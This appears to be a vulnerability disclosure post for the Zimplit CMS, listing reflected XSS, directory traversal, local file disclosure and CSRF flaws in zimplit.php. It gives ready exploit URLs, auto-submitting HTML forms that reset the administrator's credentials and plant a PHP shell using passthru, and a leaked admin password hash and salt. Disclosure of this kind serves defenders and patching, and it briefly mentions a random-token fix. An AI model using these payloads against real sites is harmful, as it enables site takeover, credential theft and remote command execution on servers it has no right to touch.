Summary:  
========  
1. XSS (Reflected)  
2. CSRF / Directory traversal  
3. CSRF / Local file disclosure  
4. CSRF / Change administrator's password  
5. CSRF / Upload a shell  
6. CSRF / too much divastating actions to do  
  
1. XSS (Reflected):  
===================  
CMS suffers from cross site scripting due to lack of user's input sanitization:  
  
File: zimplit.php (line 535)  
...  
...  
} else {  
return 'Error: The file '.$file.' does not exist.';  
}  
}  
...  
...  
  
Exploit:  
http://192.168.0.106/zimplit/zimplit.php?action=load&file=[XSS]  
http://192.168.0.106/zimplit/zimplit.php?action=load&file=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28944002%29%3C%2fScRiPt%3E  
  
  
2. CSRF / Directory traversal:  
==============================  
The following URL provides files' lists to attacker. Although it requires authorized user such as admin, with an appropriate javascript exploit an attacker is capable of having administrator's view of vulnerable link:  
http://192.168.0.106/zimplit/zimplit.php?action=listAllFiles&file=[Directory]  
  
  
File: zimplit.php (line 772 through 792)  
...  
...  
function listFilesDir($file) {  
if($file == ''){ $thedir = '.';} else { $thedir= $file;}  
if ($handle = opendir($thedir)) {  
while (false !== ($file = readdir($handle))) {  
if (is_dir($thedir.'/'.$file)) {  
if($thedir != '.'){  
$files[] = $file.'|dir';  
} else {  
if($file != '.' && $file != '..'){  
$files[] = $file.'|dir';  
}  
}  
} else {  
$files[] = $file.'|file';  
}  
}  
closedir($handle);  
}  
return implode(';', $files);  
}  
...  
...  
  
  
Example:  
http://192.168.0.106/zimplit/zimplit.php?action=listAllFiles&file=../../../../  
Results in:  
opt|dir;var|dir;tmp|dir;mnt|dir;proc|dir;boot|dir;sys|dir;..|dir;bin|dir;media|dir;srv|dir;dev|dir;vmlinuz|file;lost+found|dir;lib|dir;usr|dir;cdrom|dir;initrd.img|file;root|dir;sbin|dir;build|dir;home|dir;etc|dir;selinux|dir;.|dir  
  
  
3. CSRF / Local file disclosure:  
================================  
The CMS suffers from LFD, like example above appropriate exploitation would be very harmful:  
  
  
File: zimplit.php (line 521 through 537)  
...  
...  
function getHTML($file) {  
if (is_file($file)) {  
if (is_readable($file)) {  
  
$content = file_get_contents($file);  
if ($content === FALSE) {  
return 'Error: Cannot read from the file '.$file.'.';  
}  
  
return $content;  
} else {  
return 'Error: The file '.$file.' is not readable.';  
}  
} else {  
return 'Error: The file '.$file.' does not exist.';  
}  
}  
...  
...  
  
Exploit:  
http://192.168.0.106/zimplit/zimplit.php?action=load1&file=[Path to file]  
  
Examples:

Following exploit would lead to gathering administrator's username and password:  
http://192.168.0.106/zimplit/zimplit.php?action=load1&file=security.php  
<?php $u="yashar"; $p="dd0eaddc303999363896ceaad3458ecc"; $e="[email protected]"; $s="7xftg9by0nh97wso7pmd"; $r=""; ?>  
  
  
  
4. CSRF / Change administrator's password:  
==========================================  
Following exploit results in changing administrator's credentials:  
  
<html>  
<body onload="submitForm()">  
<form name="myForm" id="myForm" action="http://192.168.0.106/zimplit/zimplit.php?action=changeuserpass" method="post">  
<input type="hidden" name="username" value="yashar">  
<input type="hidden" name="password" value="yashar">  
<input type="hidden" name="content" value="[email protected]">  
</form>  
<script type='text/javascript'>document.myForm.submit();</script>  
</html>  
  
A random token would be a good prevention.  
  
  
5. CSRF / Upload a shell  
==========================================  
Exploitation of this hole is semi complicated compared with previous ones, it has two steps must be taken separately. Firstly, a blank file must be created on the remote machine. Afterwards, the malisious contents are injected into it:  
  
<html>  
<img src="http://192.168.0.106/zimplit/zimplit.php?action=new&file=shell.php" width="1" height="1">  
  
<body onload="submitForm()">  
<form name="myForm" id="myForm" action="http://192.168.0.106/zimplit/zimplit.php?action=save&file=shell.php" method="post">  
<input type="hidden" name="html" value="<?php passthru('ls -la'); ?>">  
</form>  
<script type='text/javascript'>document.myForm.submit();</script>  
</html>

6. CSRF / too much divastating actions to do:  
=============================================  
I'm sure there will be more attacks, I just indicate some important ones.
